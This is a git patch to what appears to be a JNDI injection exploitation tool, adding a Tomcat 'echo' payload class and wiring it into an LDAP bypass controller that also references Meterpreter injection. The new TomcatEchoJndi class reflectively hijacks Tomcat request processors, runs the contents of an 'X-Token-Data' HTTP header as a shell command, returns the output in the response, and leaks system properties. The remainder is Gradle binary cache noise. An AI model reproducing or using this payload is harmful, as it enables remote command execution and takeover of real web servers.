From 8bb2c43d3b5ba92621b35778fcb90c3f05ddfabd Mon Sep 17 00:00:00 2001 From: qi4L Date: Thu, 16 May 2024 16:23:12 +0800 Subject: [PATCH] =?UTF-8?q?tomcat=E4=BF=AE=E5=A4=8D?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .gradle/8.7/checksums/checksums.lock | Bin 17 -> 17 bytes .../8.7/executionHistory/executionHistory.bin | Bin 796089 -> 1043979 bytes .../executionHistory/executionHistory.lock | Bin 17 -> 17 bytes .gradle/8.7/fileHashes/fileHashes.bin | Bin 158533 -> 158733 bytes .gradle/8.7/fileHashes/fileHashes.lock | Bin 17 -> 17 bytes .../8.7/fileHashes/resourceHashesCache.bin | Bin 73579 -> 74089 bytes .../buildOutputCleanup.lock | Bin 17 -> 17 bytes .gradle/file-system.probe | Bin 8 -> 8 bytes .../controllers/TomcatBypassController.java | 11 +- .../jndi/template/echo/TomcatEchoJndi.java | 119 ++++++++++++++++++ 10 files changed, 129 insertions(+), 1 deletion(-) create mode 100644 src/main/java/com/qi4l/jndi/template/echo/TomcatEchoJndi.java diff --git a/.gradle/8.7/checksums/checksums.lock b/.gradle/8.7/checksums/checksums.lock index c0ca3ea13281b04d95868e6dede006abd8c0b51d..35139ab05e300e4b7ebeb7033b13ed2ade918528 100644 GIT binary patch literal 17 VcmZRU*k4$1@M75u1~6dS2LL!=1#AES literal 17 VcmZRU*k4$1@M75u1~6dS1pqi)1!w>O diff --git a/.gradle/8.7/executionHistory/executionHistory.bin b/.gradle/8.7/executionHistory/executionHistory.bin index df7bbeddd2480fb453d36a7160b796d512af2973..4b2189a3a1457cd961c588f25910d8fa03fffd23 100644 GIT binary patch delta 5114 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 I<(BmT0GqX?DgXcg diff --git a/.gradle/8.7/executionHistory/executionHistory.lock b/.gradle/8.7/executionHistory/executionHistory.lock index 47b4f638bd65dd8a8701ab789353026b160cc359..b935e4d974862f8dd55cb49dd2440f90338ad69e 100644 GIT binary patch literal 17 UcmZQ>dGjUQrSpIr0|aOS06R?ty8r+H literal 17 UcmZQ>dGjUQrSpIr0|f8^06Q`Spa1{> diff --git a/.gradle/8.7/fileHashes/fileHashes.bin b/.gradle/8.7/fileHashes/fileHashes.bin index aafd7bc20257ff58f40c81aa5c0aa0b1f6852199..4ac37255b4f74642930c034fecab35131ce231be 100644 GIT binary patch delta 3810 zcmZ9P4^UNg7RR{{5LiUO_e^=IfQCw_gn&RG0t$$V{3k(CKoM96l?YoSR7T4n83&%s zSGQaQBmzYxiJ8ayymQX?obx;PcYp7` z3)gJQZ`d67nIN5S^_|e=Y@fPg@zW)lt!B!fW_@GppkIZx{aDZFiJM-@Wn*t^amXV{ z%5SX+>)$W+v{rm~$;!cY=ycjQf$NeuCcHK7$IDZtM&zBBlH@XLsl?93>}{LnHkzIj zjiwua^ZN3@hh}Edp6%I9lU0e?*S_jaf5 zy=8-HDyi{A1gh^VY`)RboY|JCG)ot|56Xr@`R{Ge8Mn5XDNvW=k(wGlBf1(YT&s2zf zrXtwCEEaOcpBC~qt_p`zp@b^9975<-QDI5|72ZkaF;?gZ*JzO_%u11Wu|9x`?1J+$ zv1~bj5|-i$JIWxvN+A{SW~xLMlL26=LKoA13^7$>Rv>8)Vl`7ODg-I5)=^KEmFQR` zTKztddTPKRhc;k(5Xqa6BFJ2bP!^(JMq1YjWGCfBD({HFJlFe|PNrFwN zs*o)Z$YhB;rctP7vO*7&HO#}*;mg+C?^|d|5DmwMsl%6TkSzkl){y^#{Yt7@=>Od|(?zULVY3^2J6bKhy|PMiWTM zEo}|bPAz_pqTGS7TulC0^4krf#$B8R@rx-S4!I&gDITxRrfo5;DFNMVPsHy`$?#f2 zv1wStlz}RyEL>#D#xtfIcq~;F#*;`Jp*=+MM07B%$0MdZlnjY`bAGgXqRJbn>rq?L z606anAX+n4>GchiMpGx7af<0p<~q z@$=tsk0Wc~6hrD-^gI#0WW~@(>QKy%Lpa9NfIg;=p^YV3BfNcEVhY|fuCb%Y3xsyDP zA@$zhkW9%=;vM#%V!s<|R*8%8H3yu6&4nN)PuGTF}1`nnLYPo}@RUPmz&(xR9$3LN6Xi^^aE?g+6a#GY$JAA%2t<-f#lt%6V%uW0GcCn` zm|`$#H7Q~c!xV=Srew4-rQ+@gjZY^{Lxp%i$8lj+asd~GPN98x#`Jf1WRdLyq%j@99;Rw^FxBD_QytvaQT30g zOyGS(Pm1_0u#T!Upj7ykDvdZbLgHIf536i-e5NKiXH!TM;+PI&2h&lsG3juRsRd3s zq!^7QIpPP#z=MRrPV*DqV}lRfcpPkVO#SgtJe;YvWP2tVH8aIP_T^~8MJK1N(MR&r zA<*WkiB3n!;klYrNw|$Kq3*A$(Kr=X1#J_yX|%XWN5uPVZ}HDvyj+!+L*BU<ZL zPW=0$B1sf+*6Y?;z4xU>%lVm)KWyKvQza3m1**bqT>YOULec5G~HoZTm{?miK6`OxigK`VjaoSoX?f(Etd*kf@ delta 3721 zcmZ9PdsI}{6~?^-2snU}LD7k*5UCGh5D@_p5D)-l-j=H{acdj1`N>ZD)amF0mdsNs3T&S z78d5Yap}tPj@&qH@j9)w<508qx~U^-zt$P9MYV_C_Qv?VT7au<^JkMgYCKJ*NYBc3 zO%G8QZF-5w;e}H~ek#VUrhMdPm@EjGYO*M4AHt^^0*6@yPJ2|N1#fWPF$y)5S5{-u zIn`v%yFWTS*1S0)xV1Iut#3{ouQrCJELRVzp}#Lh)2|8i6RLiOc>b;5@9YKN?hl&$ zn*8p+*en&{l%&_l7JJ}w3#P{y^El#>8^it55OH6#Vo!`INVU(vaY+>89#hl5aU<4b zMf5b53_|uauFb+0rl!X@D)bb0gq|p}Vp6OrNbO8N4`MQ-I#sh^d92AoVaEmzdw&gg zB87KRSk18!hhn+OCe_{8noaPJV|o+GLKP?%s>I-lw2-bip0XNOB~b(Kc;5RTbFTnz zq>Q19vnZZ>?Zi3~sIGMwJRh-VKwE=i&h+H{ueK{Sz?d=I;MJ%IZfO3t)^#hJ4ALK>>} zk(0!3U!YRRjrM2smmJ!?CnPr0TvvE8J_yulEs@D=cpVwZZ1HtQIf$c8;{KrpNKZ0$+#sHi@;1CHBOc?f*%~k znY@;GY$So&_8B-Jl!)s>DKKYoHWi6NX;?2b8#<9%aSoe%neEzk3;vqL-t*u!hx2PV z@85^eY4pg*o5O;&SVIEUe66uJ$LH{x*5RVWU&B+O*AbP?+BZ=`q}qO;ZHK&v6*I{8 zST@^k!5NWO;gL`^BIX+9jt@}ujOv(lD^3Y*!$YC%sP3mDoSefmZO7sq?q7o%p&jTH zdIxl9jg{1@ho3{`IRcH@vp_u__-1OB;O-i%}>$2^n^ z^`cp_CvcUB%pHAf?p1DF@UT4gUWWKQ_F00SB{cmH^LYA&*dqxWE(sMtTgc)fL<^Om zRHzgX>cY8a)GuViq(xktZ+9=ZqGA#E$wvdl)#?|^t>M9UT=ycL@Fe;~aFPWc`Fu!I zZ7lc*1vYj*r7o!zEjG6P7+sS11U*8ZAvB-cot6FQHy#Av&F2S!M17)B{**3(L&E1p z91gvh!e3HYoq@}EKyK>P=i&LqObe02q<@J@p=)Rt`U-y_Qp>%`mi}?b9ZDx*@)EZE z0vStqH3v{3)Q!VJw{cUb$KKm$#e@Q0YA;d>xauF+AVmKrh*Yb`+-l%qet!SGfLr|s zzDs##7ZRA9-Y63?qe&$s6xZY8HAWZ!^jzoRYXcE&tb36p@qg z*lP+3g`!a_G!-8*>2CB&EFLcubH#Mngc9%;k?NkzZOl`ULMH}Sin+~9{8^-_2wBGE zshBS`3)Mmya1kk^Y?(I^fhi`-yUW=p8^O!DdM>hra&b;pVu7^-Rw7(1qT>Z-h3& ztAx9L53xk5YXz@ph>b7I_7d*86+ahgH7*Km$5WvnA?j5wf1AtwFXGM=8hY!iTwa4l z5$t3^@FYY<(AIw~f_gk60i8Lg9TBBWKS7ZYP$#q-r-XiiheCT1zLLAkm!O0Pc6R}N z8(GOW)jn?dTr5I8spUQjt41y8q%uYO)jww|yjL09M{h^3;>1DZ3LU~Wq4#iHC=B<6 zS}|fZSA-yYwaGf>^USng&-MJ}&Z6us?@Y+d`i8%~>^o{qV(yv<{YBcH-K$OM)W4-4 zces3iBrIzTqy0%8>1#|&HA*|8(Y)3O5?v)qrC1EFDMWq5{=aWdnCw2W{@RGUo5oj_ Yr3~3cN0z=IuIsH=6+UOGx2lT&0$1t5YybcN diff --git a/.gradle/8.7/fileHashes/fileHashes.lock b/.gradle/8.7/fileHashes/fileHashes.lock index 215f78df9e14a312e11f78e0eecb728bf47497fb..b0f7351d866a4e96a9b03d181678bd229eee83d2 100644 GIT binary patch literal 17 VcmZR+d$zvH^H97W0~qj%0suLn1c3km literal 17 VcmZR+d$zvH^H97W0~m1c0{}Wj1t z7?q5y^i2OZHkh7E)IRzo^DEa5Oud0xN)EMZ;ews_^?0}J;d?NBuN?4{X=y*x_!-l*@&eUJC%X)xI_B)}hc`8_W2#_w uWhoRXITtJNXwjwyjrA))Zk;^)uae01w^Fjxn&af3eyXoBy}J>V5aa-QD#nBW delta 126 zcmV-^0D=GM!UXHS1h6z10j{$(7;p%)y&&lYv%V$|4zuMnfCrO(Jdv{|Jr4r2O+V8C z0b!G6+f|d&+c1+F+!wPgK~sAH(X)ZPpaQcwzo`S0`ogHQy2D5Yvl_~%53}0Y-~_YM g-e3lkZbmP&k>x1@v(o1&0Rk(ju_0&#vyJTDGT&7><^TWy diff --git a/.gradle/buildOutputCleanup/buildOutputCleanup.lock b/.gradle/buildOutputCleanup/buildOutputCleanup.lock index 622dc64f8e2b4128df84baac831d155afa207fa9..134bc9b4afcc2e75acb86e1a60d293b051ad7d6e 100644 GIT binary patch literal 17 UcmZSHt{HzOWk&8J1_($505x_5y8r+H literal 17 UcmZSHt{HzOWk&8J1_;ms05v}Zga7~l diff --git a/.gradle/file-system.probe b/.gradle/file-system.probe index ebfef09c2116da0fcd3f1bad96fb6e8da4bcebd5..80f6541b2228c424977d88409b879caf5d8ae3ad 100644 GIT binary patch literal 8 PcmZQzVC-*jTk!?}2j>Fo literal 8 PcmZQzVC=8Y{k{SK2(kkl diff --git a/src/main/java/com/qi4l/jndi/controllers/TomcatBypassController.java b/src/main/java/com/qi4l/jndi/controllers/TomcatBypassController.java index fcff16d..fdecb2f 100644 --- a/src/main/java/com/qi4l/jndi/controllers/TomcatBypassController.java +++ b/src/main/java/com/qi4l/jndi/controllers/TomcatBypassController.java @@ -8,6 +8,7 @@ import com.qi4l.jndi.gadgets.utils.Gadgets; import com.qi4l.jndi.gadgets.utils.InjShell; import com.qi4l.jndi.gadgets.utils.Util; import com.qi4l.jndi.gadgets.utils.handle.ClassNameHandler; +import com.qi4l.jndi.template.echo.TomcatEchoJndi; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPResult; @@ -48,7 +49,7 @@ public class TomcatBypassController implements LdapController { if (payloadType.contains("M-")) { String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1); InjShell.init(params); - Class classQ = Gadgets.createClassT(ClassName1); + Class classQ = Gadgets.createClassT(ClassName1).getClass(); code = InjShell.injectClass(classQ); } @@ -60,6 +61,10 @@ public class TomcatBypassController implements LdapController { code = helper.injectMeterpreter(); } + if (payloadType.contains("TomcatEcho111")) { + code = helper.injectTomcatEchoTemplate(); + } + String payloadTemplate = "{" + "\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" + ".newInstance().getEngineByName(\"JavaScript\")" + @@ -145,6 +150,10 @@ public class TomcatBypassController implements LdapController { return InjShell.injectClass(ctClazz); } + public String injectTomcatEchoTemplate() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException { + return InjShell.injectClass(TomcatEchoJndi.class); + } + public String getExecCode(String cmd) throws IOException { String code = "var strs=new Array(3);\n" + diff --git a/src/main/java/com/qi4l/jndi/template/echo/TomcatEchoJndi.java b/src/main/java/com/qi4l/jndi/template/echo/TomcatEchoJndi.java new file mode 100644 index 0000000..edbb4f0 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/echo/TomcatEchoJndi.java @@ -0,0 +1,119 @@ +package com.qi4l.jndi.template.echo; + +import com.sun.org.apache.xalan.internal.xsltc.DOM; +import com.sun.org.apache.xalan.internal.xsltc.TransletException; +import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; +import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; +import com.sun.org.apache.xml.internal.serializer.SerializationHandler; +import java.lang.reflect.Field; +import java.util.List; +import java.util.Scanner; + +public class TomcatEchoJndi extends AbstractTranslet { + public TomcatEchoJndi(){ + try{ + boolean var4 = false; + Thread[] var5 = (Thread[])getFV(Thread.currentThread().getThreadGroup(), "threads"); + + for(int var6 = 0; var6 < var5.length; ++var6) { + Thread var7 = var5[var6]; + if (var7 != null) { + String var3 = var7.getName(); + if (!var3.contains("exec") && var3.contains("http")) { + Object var1 = getFV(var7, "target"); + if (var1 instanceof Runnable) { + try { + var1 = getFV(getFV(getFV(var1, "this$0"), "handler"), "global"); + } catch (Exception var13) { + continue; + } + + List var9 = (List)getFV(var1, "processors"); + + for(int var10 = 0; var10 < var9.size(); ++var10) { + Object var11 = var9.get(var10); + var1 = getFV(var11, "req"); + Object var2 = var1.getClass().getMethod("getResponse").invoke(var1); + var3 = (String)var1.getClass().getMethod("getHeader", String.class).invoke(var1, "Testecho"); + if (var3 != null && !var3.isEmpty()) { + var2.getClass().getMethod("setStatus", Integer.TYPE).invoke(var2, new Integer(200)); + var2.getClass().getMethod("addHeader", String.class, String.class).invoke(var2, "Testecho", var3); + var4 = true; + } + + var3 = (String)var1.getClass().getMethod("getHeader", String.class).invoke(var1, "X-Token-Data"); + if (var3 != null && !var3.isEmpty()) { + var2.getClass().getMethod("setStatus", Integer.TYPE).invoke(var2, new Integer(200)); + String[] var12 = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", var3} : new String[]{"/bin/sh", "-c", var3}; + writeBody(var2, (new Scanner((new ProcessBuilder(var12)).start().getInputStream())).useDelimiter("\\A").next().getBytes()); + var4 = true; + } + + if ((var3 == null || var3.isEmpty()) && var4) { + writeBody(var2, System.getProperties().toString().getBytes()); + } + + if (var4) { + break; + } + } + + if (var4) { + break; + } + } + } + } + } + }catch (Exception e){ + e.printStackTrace(); + } + } + + private static void writeBody(Object var0, byte[] var1) throws Exception { + Object var2; + Class var3; + try { + var3 = Class.forName("org.apache.tomcat.util.buf.ByteChunk"); + var2 = var3.newInstance(); + var3.getDeclaredMethod("setBytes", byte[].class, Integer.TYPE, Integer.TYPE).invoke(var2, var1, new Integer(0), new Integer(var1.length)); + var0.getClass().getMethod("doWrite", var3).invoke(var0, var2); + } catch (NoSuchMethodException var5) { + var3 = Class.forName("java.nio.ByteBuffer"); + var2 = var3.getDeclaredMethod("wrap", byte[].class).invoke(var3, var1); + var0.getClass().getMethod("doWrite", var3).invoke(var0, var2); + } + + } + + private static Object getFV(Object var0, String var1) throws Exception { + Field var2 = null; + Class var3 = var0.getClass(); + + while(var3 != Object.class) { + try { + var2 = var3.getDeclaredField(var1); + break; + } catch (NoSuchFieldException var5) { + var3 = var3.getSuperclass(); + } + } + + if (var2 == null) { + throw new NoSuchFieldException(var1); + } else { + var2.setAccessible(true); + return var2.get(var0); + } + } + + @Override + public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { + + } + + @Override + public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { + + } +}